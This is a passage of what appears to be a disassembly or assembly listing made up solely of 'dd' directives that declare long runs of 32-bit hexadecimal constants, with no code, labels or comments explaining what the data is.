		dd 74C10A44h, 31152118h, 9155DD4Eh, 5F796835h, 0C0D1D31Ch
		dd 596EEEFFh, 553A343Dh, 0B80A7829h, 0AD366AA7h, 2CEC4AC0h
		dd 13458A12h, 894DCDA9h, 8928C83Bh, 0B1887F82h,	77C90955h
		dd 868A4A50h, 81808F9Ah, 0D44539F4h, 0A735914h,	9D734DF1h
		dd 0CC86F212h, 5B0FF458h, 44C1E586h, 7FADA853h,	472030Eh
		dd 12EB866Ah, 75022015h, 1208E9E9h, 9993FC01h, 94D8885Bh
		dd 7699DC58h, 80960482h, 9B51C12Ch, 3B910C94h, 0E4B8DF50h
		dd 8B187614h, 0CB7573F1h, 7D8DD101h, 2E9C1F0h, 0CA07AB68h
		dd 7503E183h, 8A980BA4h, 556E370Eh, 2F9C060h, 3F73E180h
		dd 8803E21Fh, 0F124ECD9h, 7041E90h, 0C5D010Fh, 293E297h
		dd 0F14032CAh, 0F204ED2Eh, 0F46060Ch, 86912951h, 0F633033Ah
		dd 91024138h, 7969EE32h, 0EF16DF0Ch, 11F760Ah, 0BE02B745h
		dd 0A1EC3544h, 54808ACAh, 0BD509C24h, 0C7E02FFAh, 3B467417h
		dd 5472EC0Eh, 48767DB6h, 5FA0D0B5h, 6987E714h, 2A10464Eh
		dd 90F1CDC7h, 395E30E1h, 2B12734Ch, 3DDA0ADEh, 3F0EB370h
		dd 0F1A54E76h, 0F587DDA2h, 0AA698256h, 4D285590h, 8824CEEEh
		dd 0FF614B06h, 0F6537835h, 2426628Dh, 92F5057h,	0E0130224h
		dd 53B04980h, 44A54149h, 6E79A1E2h, 0D896407h, 0A252030Dh
		dd 10491CC4h, 14AC4B9Fh, 9295A893h, 7C6901B8h, 0E1116677h
		dd 454E066Fh, 0EC2F7A1Ch, 8D12E0C6h, 4F36E674h,	0BE886456h
		dd 99FBB749h, 3C8644D3h, 0FF88B8E8h, 75CB3B0Fh,	0F7C88902h
		dd 0BA033861h, 0DC51AF68h, 562B3297h, 0D347945Fh, 3BA12CC9h
		dd 3B74C628h, 23D5024Ch, 21AC2157h, 0ADE414EEh,	403FFDD2h
		dd 0BBA5140Eh, 0F5105F13h, 52E8F4BBh, 800504C8h, 0C4AAE0A5h
		dd 6ADCC936h, 4A582CFDh, 0E1BD8D0Ch, 8F616823h,	66ABF31Bh
		dd 4661AAC9h, 84682103h
		dd 863C0FA1h, 0ECDCB8A2h, 0F167FBFh, 0F1B505B7h, 914F2337h
		dd 0B1C06820h, 0FC6F644Fh, 0DE10408h, 9005BA01h, 491742C3h
		dd 0B9644664h, 78E748E1h, 5221982Ah, 9E4EBDE0h,	9F3047A4h
		dd 22761E29h, 7C67C762h, 1C582C7Fh, 6FFEDA0Fh, 4B9FB7Fh
		dd 6427204h, 0BD8483D8h, 0A88CAA70h, 0ABE67D1Fh, 9D97B557h
		dd 46A7A77Ah, 0F01E9DF3h, 55D90C4Bh, 0B3E81A93h, 265323EDh
		dd 4351AFC5h, 3DBDA8BCh, 40755002h, 8AC3858Ah, 8B02C30Fh
		dd 0C36589F4h, 13CB84F3h, 62224541h, 3E79179Ah,	7DB3C909h
		dd 72F82091h, 0E2C41055h, 35EB1C05h, 8B494C81h,	0E527509h
		dd 0A2C2811Dh, 1A4918EBh, 121201D5h, 872CB11Ch,	0CBF0B60Fh
		dd 4B076655h, 0E80281F6h, 6BC6A03h, 610EF4A2h, 0FA8C0F02h
		dd 6B29A835h, 157448D8h, 0B0698B75h, 2589789Bh,	1E5A80FFh
		dd 23068D55h, 29BF5C91h, 26BCB101h, 0C94BC4A1h,	11790845h
		dd 0BA462B16h, 0F077CD09h, 52020030h, 76DB859Ah, 0FB508B33h
		dd 7E2603DDh, 1FACE108h, 2026856Bh, 61246692h, 77785057h
		dd 0B35A0334h, 5A196BF5h, 8050C31Eh, 0F7853824h, 2159475Fh
		dd 0B31790Ch, 0FE8C1E8Dh, 1434AEFAh, 37999C03h,	721570Bh
		dd 95B6CE6Bh, 0F963042Fh, 73BA4339h, 6F515587h,	17E149Ah
		dd 2BF0163Bh, 4C1FB313h, 0A340CACh, 0CC1E2AD2h,	0FEF1FCA3h
		dd 0EF5652CFh, 164F5B4Fh, 0EB0CF444h, 2E247948h, 0F00E3F76h
		dd 4787975h, 52C1438h, 78806050h, 7324FEFFh, 4E341E29h
		dd 1B0B07D9h, 3F47891Fh, 9B084B9Dh, 1DB5D24Fh, 0FE85B996h
		dd 0E1EBFF40h, 0CFDE0257h, 2853C394h, 98E912Eh,	82C10356h
		dd 0B1047753h, 0FA0D47CDh, 0C7083024h, 0F3C25D8Fh, 14AAE595h
		dd 8304202Bh, 9976FDFFh, 44EF01Dh, 3BD23309h, 8A6800CAh
		dd 773AFF41h, 3C193BC2h, 1157F7Bh, 0FE4C75FAh, 0A48852C8h
		dd 77C55124h, 0C0458BF0h, 5438152Bh, 0D4B01024h, 0E7F38483h
		dd 89EA6501h, 11880856h, 1552E3EDh, 0FE3D4217h,	0FA1F1889h
		dd 7334C73Bh, 38304218h, 53905EBh, 8730C7Eh, 0CA0F4557h
		dd 5294F54Fh, 83858053h, 7466F404h, 28722249h, 1B05C785h
		dd 8AFF488Dh, 33D1DD11h, 3106FD0Ah, 7C288F4h, 25B67251h
		dd 0E8D0465Fh, 0BD09D008h, 0C180115Eh, 0F1C3108Ch, 1A67C991h
		dd 0AFE4D4A9h, 54C5780Ah, 0E3653843h, 8A25AE53h, 1677BF22h
		dd 0CB4845A4h, 847160Ah, 2B1377ADh, 732D0BC6h, 0D3D8D784h
		dd 4FB1322Ah, 3E9FF04h,	0DD5061CEh, 859AD219h, 6C626F43h
		dd 44F32BA7h, 765656CAh, 0A9610A24h, 9806915Eh,	94D0B8CFh
		dd 110C596Dh, 70897D8Bh, 6D1A1FCFh, 70F0B661h, 7628EC32h
		dd 5B81303h, 43478D2Fh,	12BBDC25h, 0C97921DCh, 16E47FA5h
		dd 16254EEBh, 830A4595h, 811B3DC0h, 0ADB85935h,	866E40DAh
		dd 7CC98094h, 3EB5ACE8h, 66174876h, 0A3AFA374h,	0F8674450h
		dd 61F6B940h, 22085E8Bh, 4039D97Ch, 806A032Ah, 0E184FF60h
		dd 7787431Ah, 1DFB6224h, 1D2B68AEh, 6CBBB5A0h, 592B9E26h
		dd 78E9F914h, 2212C7B2h, 8C22468Ah, 9C17251Bh, 64BB56B6h
		dd 0CCB7CA4h, 7C37661h,	0C01805F6h, 0BCFC094Dh,	90D800Ah
		dd 0CB0016AEh, 0DB5D6851h, 2029140h, 0C35920CAh, 548BC151h
		dd 17964403h, 562948BEh, 0B9350610h, 0A562E18Ah, 8540BE02h
		dd 97BBBD10h, 0F966E757h, 0AEB2D349h, 0A092CE17h, 456AA2D1h
		dd 0AE9155DAh, 0DD1A4359h, 0DDAA63CCh, 21EE1453h, 7A6A5013h
		dd 0D333044Fh, 8AE825A4h, 237E9455h, 0CA0BFCACh, 872A7861h
		dd 1808A710h, 0A05D490Fh, 0B81446E1h, 0ACCB4F4h, 28D35057h
		dd 604640Eh, 941C0C10h,	4570B674h, 4CDC305h, 5966FB85h
		dd 0AE56E4C0h, 0DE09EE18h, 96FBE526h, 0A159C5ADh, 0C8E221E3h
		dd 0F38656DDh, 0D920E285h, 5995E485h, 0A4E290E3h, 0E73CD734h
		dd 0E4F65633h, 0E2D35638h, 56D912ADh, 0B0BC1093h, 0B9410C5Ah
		dd 0E86A5D35h, 0ABE0F257h, 12766CBDh, 0ED3004B8h, 1684935Bh
		dd 5EBE2DB4h, 0A4C257A7h, 16BFFC59h, 0C1CF454Bh, 8113C210h
		dd 113D2BA2h, 147EB57Dh, 6FB90B17h, 285CBB09h, 0EA30AA24h
		dd 6CFA718Dh, 2C808884h, 906A80E0h, 4268A994h, 69955746h
		dd 0C3792DD3h, 0D7B7E64Fh, 2D9D98D9h, 0C672106Ah, 0CFA8307h
		dd 0ECDD4374h, 0D1464B18h, 4F468498h, 2C3584F0h, 748150A7h
		dd 0B0EB303Eh, 5ECCE3E7h, 12AEC6ADh, 8503C844h,	753F720h
		dd 9751212h, 8329F4B4h,	38132464h, 4B20A459h, 0BBD25E49h
		dd 606802EFh, 70A9D24Bh, 0D64F3D24h, 5C7B46EFh,	0D42B31F3h
		dd 54271327h, 6C10EC66h, 7C40F356h, 7170BE30h, 0FD683C6Ah
		dd 10A34FA0h, 0B1EFFC3Dh, 0DD413CC7h, 0B6C62868h, 101A317h
		dd 2B993032h, 0F6F8D1C2h, 640C60ACh, 0F37A8B89h, 30441646h
		dd 640AA811h, 0EA2D0C20h, 7A0B7C19h, 0DE804286h, 0B7B090A1h
		dd 2DB464A8h, 0BCC19EAh, 8823867Ah, 77163AF1h, 0E0E1101h
		dd 3BCE64Fh, 56D88B40h,	7C55846Ah, 0ABECEF8Bh, 0C4FCBB84h
		dd 61A7919Eh, 0C3EC38E2h, 4F53995Bh, 0C5E91388h, 85FCA656h
		dd 0A24E850Fh, 50CC1350h, 2860AECDh, 63F19D5Eh,	1702478Ah
		dd 60FA0C12h, 299C6882h, 0A454795h, 4416DB33h, 0A4C8EA53h
		dd 9D03786Ah, 0C013508Ch, 0F85AD99Ah, 0EBF524FEh, 520FFE4Ah
		dd 5D41CC62h, 0CAD1FAC8h, 26A1FC5h, 0CD724403h,	1BEFE459h
		dd 0E93A6A6Ch, 868D5BF0h, 707A2FF5h, 81F9CCA6h,	9611C44Ch
		dd 0F84E40FFh, 0A0BF6274h, 3EA18651h, 53858D77h, 348029EBh
		dd 27EABF60h, 7150C4A9h, 38817C05h, 0FC20C224h,	8081F454h
		dd 0C027E1Fh, 0EC441819h, 0F0283AB2h, 7941CC77h, 0D819BD15h
		dd 0C5352A1Eh, 10D736EAh, 94B55971h, 0CFA688A3h, 53B1D0C2h
		dd 8BEC1544h, 3A6515Ah,	0C830562Bh, 318359E0h, 55C22A1Eh
		dd 5BE92829h, 0E2A864E4h, 3BFE8318h, 5E1F884h, 0EE5A78FCh
		dd 25594629h, 0F6DF3296h, 53DC1668h, 0A2DF67F3h, 454B9DB4h
		dd 0A1DE1193h, 0A75453E0h, 4614E195h, 0E6ABB93Eh, 0EDF4A540h
		dd 88107827h, 0B778EBAEh, 0C5DA8158h, 45D90BCEh, 37500C5h
		dd 5359EB56h, 57963A93h, 748F9CBBh, 0D210C2A0h,	0C0D43A70h
		dd 0DBEC3EE1h, 8CE727AEh, 60C95363h, 280A28F4h,	0E5590F52h
		dd 287918EBh, 491D2BA0h, 57892B14h, 17EAEE54h, 148DD28Ah
		dd 225B4C7Ah, 7046FDCCh, 4816F6CAh, 194E0911h, 139652F4h
		dd 2417CBBBh, 6014D46h,	6EEBDE7Ch, 9C964F78h, 0CA9D05D0h
		dd 544D315Bh, 3910090Fh, 0F41D129Dh, 281D216Ah,	24B84552h
		dd 3FE91C75h, 0CC10A19Ah, 5422A4FDh, 0CB25F359h, 51459889h
		dd 1A05A08Bh, 0D1A80B38h, 0F3DE3C1Dh, 1FA6978Dh, 0F4C0A552h
		dd 3290A166h, 0C3B18EAAh, 5EFB2256h, 27E93295h,	0E18C8C97h
		dd 788F5E8Bh, 66BDCB5Fh, 0FA60251Fh, 5349074Eh,	24FC925Eh
		dd 0A232578Eh, 90BE8330h, 683B0901h, 2C4833F4h,	0D9B5FE60h
		dd 0C418C7AEh, 5F5BA935h, 0A5885A38h, 0BBFB4825h, 0E28FED4Bh
		dd 33531160h, 0D744890Eh, 519DD91Eh, 64442398h,	0B2D62A10h
		dd 0FC44B2Ch, 615ED02Fh, 2201B0C2h, 0B4B8825Fh,	13A5EE89h
		dd 0A1341CA1h, 0F02F43BBh, 135420CBh, 6192564Dh, 853C5D94h
		dd 341068C4h, 32488BDBh, 8AE7FD8Ch, 8F354C3Fh, 3C488846h
		dd 334018CEh, 7C282700h, 0BD606AEFh, 0A068A498h, 1A292E4Bh
		dd 16A87EA3h, 9E80EBD1h, 84FFFEFCh, 65967C76h, 45831C59h
		dd 0F768096Ah, 81D16442h
		dd 7B45848Dh, 624043A3h, 0CF411A04h, 470D3AD0h,	430224FFh
		dd 3122954Fh, 0B209043Ch, 0EFE4448h, 69792171h,	0D6261633h
		dd 35E3192Ch, 0C1928D99h, 76EDEA02h, 5BADA0DDh,	0D26FA22Bh
		dd 0A4C8C008h, 13DE1110h, 32FEACBFh, 890AE3DDh,	0FC116225h
		dd 0B208C996h, 46A0123h, 303CC06Bh, 0B3DAD0ADh,	8A37F490h
		dd 0C16FEB20h, 3E2AF0BEh, 98AE4B16h, 0EB49303Fh, 6232DBBCh
		dd 0EE541E68h, 4A086802h, 45131450h, 7B147A58h,	0B840A211h
		dd 85EE643Bh, 76A6F7AAh, 528CB744h, 79529335h, 7CF73B80h
		dd 5229BEEDh, 4C0CAA1Ch, 36A6176h, 9D885031h, 1464D354h
		dd 0B350550Ch, 24DA44D2h, 65361A97h, 0EB18053Ch, 6208A257h
		dd 8F0EC30h, 0BC3C7ADDh, 69F18C21h, 171A384Ah, 528CE6D5h
		dd 0A184EFF8h, 6B5D99D0h, 2985D0F1h, 50E2968h, 28D35857h
		dd 0BE480F6Fh, 0BD8B13B2h, 0E70C218Ch, 0BF53C920h, 0CFBDCAB3h
		dd 928C4FDCh, 0BE2B0ED8h, 91120640h, 1AF8BC0Bh,	49686A1Ch
		dd 344D2F04h, 0F524D015h, 0C2C3C71Ah, 422734DAh, 0E028A5A9h
		dd 0AC568BAAh, 28277733h, 62C89C31h, 1B5A23B7h,	0B442FE5Eh
		dd 24E49476h, 0C242706Ah, 2B969468h, 21C89022h,	94880A5Eh
		dd 84685097h, 310123E1h, 32083BA2h, 3C832C3Ah, 0A8816DA4h
		dd 43406CFCh, 248CD0FBh, 0CFA10C01h, 0E10FDC70h, 0EB7591C2h
		dd 937CD420h, 14680552h, 447F2930h, 5C66ABBAh, 0D3D421FFh
		dd 0A4319064h, 309411DBh, 0F24260Eh, 21E04F08h,	0F8BC3148h
		dd 2F855F0Ch, 2C74257Ch, 344A7ACBh, 28EEA1E5h, 92D2B1E8h
		dd 8445CC2Eh, 950FC017h, 825EF8Fh, 9FF9E19h, 5F30E2FAh
		dd 0A1B6E50Bh, 0CDD2EC42h, 36626560h, 66A1287h,	8DEEA198h
		dd 0ECC89F90h, 841489F9h, 4A061DB4h, 2ED72C88h,	33727131h
		dd 21572034h, 5311F7ACh, 8A85899h, 0CA2D4614h, 42542746h
		dd 0C4C023DEh, 0C3482A1Fh, 21F08518h, 300EE883h, 73480D74h
		dd 0D902F5B3h, 24EB57F6h, 8B53C084h, 0F1D3C42Bh, 758A611Ch
		dd 5313E422h, 229035CBh, 0BAD774A2h, 489BEC78h,	27704083h
		dd 6F176874h, 0A9699225h, 0F2B6F5F7h, 4B136A53h, 33696A2Eh
		dd 0A626676Fh, 0EE69BFA5h, 0A4DD71C9h, 0C88CC47Ah, 1E9E83F4h
		dd 767A6896h, 7C7450F4h, 0F850649Ch, 3F424271h,	0A0BF2574h
		dd 358B5689h, 9822D2FCh, 41C9579Bh, 259BFBD6h, 38083F95h
		dd 90DA5346h, 12BAE7DDh, 0C2FFDA1Ch, 31427208h,	14170233h
		dd 3B70648Bh, 9FEE1E8Ah, 0E0463D09h, 0A193DA8Ch, 0A7DF4C4h
		dd 69A24BDAh, 0DA683421h, 19D8E9E9h, 1368DE84h,	244AD112h
		dd 8BFA0734h, 0A75D15Bh, 92177A49h, 68410A5Ah, 4EA4216Bh
		dd 0D9205E12h, 85C044FBh, 76397C82h, 5EAC3295h,	851444F2h
		dd 0DC0FBFA4h, 0D0444927h, 5103E0FCh, 0B2FC6C6h, 4C7718F3h
		dd 0B70BF699h, 0D42BF791h, 0EB37F003h, 3A7AF3D9h, 6EB139A1h
		dd 3D4C3374h, 2B76C3C7h, 893450C6h, 41348418h, 103301CAh
		dd 7E4A0C8Dh, 3DD95C0Ah, 99F98F4Ch, 24C8824h, 0DCA16684h
		dd 55EB9D95h, 0FEC721AFh, 0C41EDB5Eh, 0A98952BFh, 0F7670C26h
		dd 7552B8CCh, 5E28B45Eh, 9BED83B6h, 0C7516E4h, 5CD10274h
		dd 3C8587DEh, 0EC0C6AC8h, 0A5DB8509h, 0DD3098FEh, 0D6371295h
		dd 23D413E2h, 905D8E8h,	46CC68C8h, 0D53BE3D9h, 0AAC5BBC9h
		dd 4C6AF2BEh, 3D80643h,	340C0A74h, 0EB2008E0h, 4C2C5FD4h
		dd 91438EDEh, 6256567Ch, 0FE657B88h, 0A22DD511h, 6ADC1864h
		dd 882E0456h, 2E8B994Dh, 0FF0C99BFh, 0D0E8C810h, 0BECF3523h
		dd 0EAB70115h, 0BBCA0B10h, 9EE2BB1Ch, 0E71C623h, 14B908E9h
		dd 4D8922E1h, 77B82FDCh, 90ECB992h, 1803F261h, 18476AE4h
		dd 5010EC8Eh, 4D078B79h, 0E5458AF8h, 6552D167h,	0A6374BE4h
		dd 0E71CCC22h, 0A48BE618h, 0EC04ED22h, 0EF10215Dh, 8E9EE22h
		dd 17F081F1h, 23C18B40h, 6893A4C7h, 479384C2h, 0E80E9CCEh
		dd 4A9F93A6h, 275E76E1h, 8B255866h, 9065D27Dh, 0B7E0AE1h
		dd 58845657h, 375F2480h, 9BF03625h, 250E9CE0h, 0D804DE51h
		dd 7395AC68h, 0B423819Fh, 0C80AB451h, 36535934h, 0B09A4CD7h
		dd 0B15309EBh, 931C4B2Ch, 0B1BF0471h, 0C96DFB39h, 82804D6h
		dd 0EC7252E7h, 0DB86557Eh, 512942FCh, 3D322350h, 7A541A04h
		dd 43C6EB8Ah, 0FC1796E8h, 7E9AC0ACh, 0F8214B34h, 0D15BB5E6h
		dd 59D87E77h, 47C37C6Bh, 85144C69h, 4B49BEEBh, 591CF41Ch
		dd 8AE40C28h, 0BD07BE62h, 0C0D67933h, 0C8C49811h, 0F758AC57h
		dd 0A76846E8h, 564554B1h, 0B3CA328Ch, 70F92530h, 10129E24h
		dd 22DCE1A8h, 0BA905F8h, 8B598FFCh, 6256371Dh, 579A88FEh
		dd 681753E3h, 98A34529h, 7EF46C33h, 83EDA4CEh, 0D00B6FCCh
		dd 29FF0CEDh, 5EA924Bh,	21D3FF88h, 14E6FC22h, 6AD3E730h
		dd 8426CA44h, 16A1E59Ch, 4519A435h, 23A3BC7Bh, 0F8C01027h
		dd 0A48BB6A8h, 848A3111h, 0B04C5144h, 669B9001h, 42AB54Dh
		dd 812AA89h, 0AEC80D2Bh, 88D80F34h, 0BC57FC84h,	0E9044622h
		dd 65FC8CD3h, 0A246E0C5h, 5C74258Ah, 0D143CC8Fh, 0B740EE2Bh
		dd 0A4C9F925h, 9119A1B4h, 0BC6AE38Eh, 6A2123F5h, 915DEC6Fh
		dd 0FB9F7DF8h, 0EC1432B2h, 0D6130532h, 57550E1Dh, 82FC2228h
		dd 78D3139Dh, 804532Fh,	88E6F811h, 0DC75C2FCh, 16D80584h
		dd 9CDF6046h, 0F1E00B0Bh, 0B029FE68h, 45D50C2Bh, 0B1E710E7h
		dd 0EC2206C0h, 506227C8h, 0FDB39FFh, 0A753EC11h, 2C5C44E8h
		dd 1CEB9353h, 0F05DC9EEh, 71981E4Ch, 3B01CE7Ah,	394575FEh
		dd 20D4E45Dh, 9DCB753h,	5D5DAB49h, 459DBBCEh, 2C44A576h
		dd 2CBA405Bh, 1AA45407h, 7769E29Dh, 85516A94h, 0FA860514h
		dd 1CB8DB61h, 52925414h, 3B824949h, 0DA92BBC6h,	2FCF76C1h
		dd 2268D522h, 0BF74403Dh, 7F477409h, 48751585h,	11F55680h
		dd 0C93E9456h, 843A3453h, 68BB9EEDh, 54755884h,	74847BA4h
		dd 47822756h, 2530FD7Bh, 3023B357h, 0D4840FC2h,	1011F99Bh
		dd 4CA9BE27h, 0CEFEEDA9h, 684487C8h, 8C2FAE9h, 0E5C1E674h
		dd 2175C0E4h, 0F97E8584h, 6A0D4859h, 0F7ADF3BBh, 0A70E00BBh
		dd 33569674h, 3F19B6D9h, 219EB938h, 0C4BF4093h,	84B5E3C2h
		dd 0AD79F940h, 97B4F721h, 0BF43C981h, 1805898Bh, 2703C4E7h
		dd 0B84CC7E2h, 0FB2700ADh, 0A084FAAh, 70B90158h, 0EC1BD3A9h
		dd 0AF203450h, 0A0AC21FFh, 5B900802h, 2B3B89F5h, 0E54ADBB9h
		dd 9EE0CD31h, 0B54AE806h, 0CB2D3D4h, 2DEAE4C4h,	0C324D815h
		dd 0B228AA53h, 21DC6935h, 6A1FD576h, 0DEBF5189h, 0B010B52Ch
		dd 0F84F45D4h, 5E7F41B7h, 0EEC887FBh, 0E82D0F94h, 0A7A2A079h
		dd 5767E06Fh, 83834BA8h, 0A485C865h, 4795C453h,	7FC610DBh
		dd 0E41A139Bh, 5CEDE51h, 5CC38B07h, 6AB8C6E1h, 0E844290Ah
		dd 919D5289h, 5F4FEF58h, 0D8BD0A36h, 0FC7D409Dh, 8D53416Ah
		dd 107B4DA8h, 0B592FBC4h, 560A0301h, 79500227h,	60D92509h
		dd 0F6933BA9h, 1333EA4Fh, 1EBD6317h, 54C57C18h,	0DA92646Ah
		dd 0F9FDFD5Ah, 3D0F70CAh, 62A5857Eh, 94B1201h, 0CC927695h
		dd 3B89A284h, 7A75DA41h, 95ADF68h, 15C1013h, 29FDC462h
		dd 0F5A1CFF2h, 796B4C71h, 39C92984h, 1676829Ch,	0AF93958Dh
		dd 0C7402F0h, 0C2834107h, 16FA3B04h, 8F0720Ah, 83167540h
		dd 400284BDh, 84890D73h, 8A288F8Dh, 3B141085h, 37E0DBDh
		dd 1F610A89h, 4EAC9E20h, 0D3B0D249h, 0A32B1044h, 0AD20B456h
		dd 0FC432CA4h, 8B527F05h
		dd 0E2331895h, 7634D63Bh, 6D42403Ah, 40A7438h, 72CA00C0h
		dd 6126EBF4h, 1B730E4Ah, 8B5F488Dh, 41045005h, 32261089h
		dd 7237C743h, 648BAAECh, 455BE357h, 0B6B66A67h,	0A4771256h
		dd 0A4681674h, 8499D49h, 9C536818h, 31BF5B11h, 6B0D7573h
		dd 8434D0BCh, 0E644052Ah, 7C2532ADh, 2D7E9F16h,	2214484Ch
		dd 0EB296468h, 5C902161h, 68210DACh, 0C840114Ch, 10105644h
		dd 1F883068h, 0E782CE4h, 44681E80h, 0CCA4570Ch,	4BF8C1Ah
		dd 283A7F17h, 245B2614h, 0B4C24499h, 13C4883Dh,	48EC2168h
		dd 3789ABB9h, 8548E850h, 6878D4C4h, 8924CC56h, 0BECD8334h
		dd 0AE2749A0h, 95FED810h, 31094159h, 0F3C5EA0Dh, 0E4FED888h
		dd 8A1C4D3h, 98E48E4Bh,	0DEB82A78h, 4B80BE29h, 4B20FD2Ch
		dd 0EF4D6651h, 4CA44ADCh, 0EB0A0FE8h, 786441B2h, 85B17E6Dh
		dd 5B26E37Bh, 422D7A3h,	64182DEFh, 0DC48E408h, 0F629D492h
		dd 270E48F1h, 5B30CC04h, 0DA9E1B1h, 0F00E153Dh,	32696A0Fh
		dd 523FB43Fh, 855A1034h, 59C4FAA3h, 0AAB4435h, 58271044h
		dd 1C81A5B7h, 0EF7A79A3h, 3C68B482h, 5C4A33BAh,	681D5D81h
		dd 142B1F1Ch, 59CCE4D1h, 99202850h, 0F5469D47h,	93F5D36Dh
		dd 0BF6847B2h, 0DC5E625Fh, 499E9A0Dh, 0FBBC9660h, 0B2237580h
		dd 0F7202D4Ah, 8CFC9493h, 16EF3804h, 0F920251Ch, 11C6E516h
		dd 0CA753CEAh, 845D9372h, 29D06817h, 41255A04h,	0F9479B09h
		dd 755EC8FAh, 312522A1h, 0E42A05C1h, 0EB305954h, 6820CA2Eh
		dd 0DC458A74h, 42CD93BFh, 291B687Ch, 4B865868h,	6A95C33Eh
		dd 4783022Bh, 166553Bh,	0E9198E35h, 32E4324Fh, 0E75AD4B6h
		dd 95A02293h, 515D12B2h, 9CE0AED0h, 94F1256Ah, 4BA3BB6Ch
		dd 0A764121Ch, 0D2C84AF9h, 8A0C4B75h, 52AF5ECFh, 14E3A2D5h
		dd 4A2835FFh, 162BE88Bh, 47513811h, 2FA5D4D9h, 82A2DEDCh
		dd 70E9AEB6h, 8D565A41h, 6EE37EE6h, 6CDDF06Bh, 0F7148A59h
		dd 505BA878h, 85C4BFF9h, 80600EF6h, 75100C46h, 0CD574B3Eh
		dd 5192B21Bh, 0BD93CEFAh, 10A19ADEh, 96578C32h,	24085F8Ch
		dd 0D0A5E82Dh, 0C9740B3Dh, 0BC327F5Fh, 99229D17h, 0F08AB0BDh
		dd 30968E28h, 73ECB962h, 0FA140B2Eh, 7EC97E76h,	0ACB005FEh
		dd 0A418EC03h, 0A79D17AEh, 0FDA4C51Bh, 0DE88D7A7h, 0A4B4E010h
		dd 8D95F4B2h, 85F88741h, 2BFD5AACh, 49DC2197h, 536B4444h
		dd 7F14C951h, 1591C73Dh, 2E9A3E22h, 70515696h, 89252E58h
		dd 5CDEA58Bh, 8F74B25h,	7D0106A3h, 33416AF8h, 0B52B0A6Eh
		dd 2501A0Eh, 0F5102984h, 0C2DF0450h, 0A85BDBBh,	0EE81D540h
		dd 8A5B0211h, 74AC8ADEh, 0FC53D620h, 47134F28h,	918952FFh
		dd 1502AEF8h, 670209EFh, 0C1AFF867h, 28A7FF9Dh,	4CC83D94h
		dd 0C9338988h, 12051076h, 8724958Dh, 8608F1A0h,	0F472CB18h
		dd 0F6197508h, 734012FBh, 0AE5C414h, 65A38B1Ch,	3BAA6243h
		dd 860F9281h, 97DA74Ah,	0EEB02144h, 44C3BFA7h, 81D787C7h
		dd 0E99D6F57h, 0AD215FE7h, 9F9C70ABh, 0F9425673h, 0EB4E5625h
		dd 0F3587F2Dh, 31882183h, 2B01F6A8h, 392726A7h,	105995C2h
		dd 63888C22h, 0EEC3438Dh, 0BD1D73C8h, 15B38F74h, 21C89D1Fh
		dd 3A538D8Ch, 0EA7215CAh, 30919F4Bh, 0AE231A51h, 39EE134Bh
		dd 4281196Fh, 0B2D10832h, 62017CAFh, 1568186h, 5848A61h
		dd 0A3C1E40h, 0A435F288h, 4444B0B9h, 0F04BBE8Ch, 89CA8C11h
		dd 431CD556h, 43134852h, 5F80148h, 0B8367659h, 715BFD6Eh
		dd 0D3382CADh, 0D4BA8408h, 0BA4B7DF7h, 0EB10A530h, 252FA417h
		dd 0D4B4EC68h, 3D347424h, 0E50C5F56h, 61A50412h, 534650C2h
		dd 20043978h, 41820F59h, 0CBD4F211h, 3F324489h,	426B0A57h
		dd 0F1C70A91h, 3F1DC9EBh, 4603EBE3h, 834EA97Dh,	143F5F32h
		dd 93EA52A0h, 0E5C11510h, 81B7A4EAh, 776522F9h,	83397305h
		dd 57FE0865h, 0A4DEE9F4h, 28AC60C2h, 0B8184C32h, 4D68BA96h
		dd 2562F2A5h, 13DEB4F0h, 760793h, 3B462FE7h, 9128ECF1h
		dd 0D2FD2C29h, 8BADEB85h, 0C4C57F84h, 75626BE3h, 640FF710h
		dd 0BCA349C4h, 0FDB49DC2h, 2058F512h, 0B014BCB9h, 0FA188464h
		dd 0DE141C59h, 10E4BC51h, 85BC592Ch, 0F5A01252h, 76B8E934h
		dd 54085BB1h, 5AC77216h, 0B3C8B496h, 55805CC7h,	0CBD1ED4Ah
		dd 2F754638h, 5474FAB0h, 0AC2B10FBh, 2533A3F9h,	4C7C3920h
		dd 5427DA4Ah, 0C34C12D2h, 0E4B9052Dh, 1458324Bh, 0A139FF64h
		dd 0BED19845h, 6A47916Eh, 0D0462046h, 97EC3DD2h, 90711089h
		dd 1E6AE006h, 88C44228h, 0BD83C10Ch, 779F248h, 0A77F9891h
		dd 1D758A08h, 9387685Ch, 4AFDD2E9h, 24163747h, 11A7C4ABh
		dd 0F8A1233Bh, 28290E49h, 0CB571714h, 8FF7FDAh,	2F0291B5h
		dd 0D130DD1Ah, 0FDAE1675h, 4CA81B84h, 0ED98F1F9h, 0FE1DEB2Bh
		dd 94175794h, 0CDEAB521h, 594719DBh, 28FCD384h,	3DFB9757h
		dd 84BDC445h, 0F0C872D3h, 6A8A712Bh, 0B4101399h, 2F2638CDh
		dd 7C927474h, 0C3095323h, 0D55C82C6h, 0F48B6059h, 649C7FFEh
		dd 10B00F84h, 0CF8C4B90h, 761A619Ah, 0CA80C777h, 992B16C0h
		dd 110134Fh, 0BC802EC9h, 25134035h, 15C82475h, 91329EF5h
		dd 7AF6221Ah, 46100530h, 231D84C6h, 83CB2089h, 1AEB8317h
		dd 122E3511h, 8EF2F3Ch,	3015CC5h, 88C0BE0Fh, 5A082249h
		dd 4E8AF346h, 815F4350h, 7259F03Bh, 51C75990h, 6FFCEC50h
		dd 0C81665A3h, 0D42DFE9Ah, 85EE1405h, 0A1E2BE79h, 4B14188Ah
		dd 2E0546F5h, 269016Ah,	0D745E10h, 0B65B672h, 23910806h
		dd 316562F2h, 0EF1D9E01h, 9A5CAB9Eh, 84771B03h,	4EF039C4h
		dd 7F3C499Dh, 0E8BD317Fh, 9D6A747Dh, 59541422h,	4C78C25Fh
		dd 0A0B81843h, 0DDA412A6h, 0B4AAC04Ch, 9044A075h, 3B94AEFAh
		dd 65EEAF2Dh, 4F839FE1h, 5F91FCD0h, 0C5E4A0E0h,	0A85BEB13h
		dd 64F3B1E1h, 746A9F30h, 6B565303h, 97805F54h, 99B5CB6Ch
		dd 0CF5D3065h, 8E64710Eh, 917927BDh, 0BB1414D8h, 4B609D11h
		dd 8B2F1AA2h, 7A962B5Fh, 446817B4h, 0E6D8B84Ch,	0EC719526h
		dd 8AD4606Ch, 0BFC17B57h, 8814B093h, 0CDC8F89Bh, 2E61A73Ch
		dd 96F7DA31h, 0F7D0BF69h, 0C7C8FC42h, 44E8BD58h, 6A2138FCh
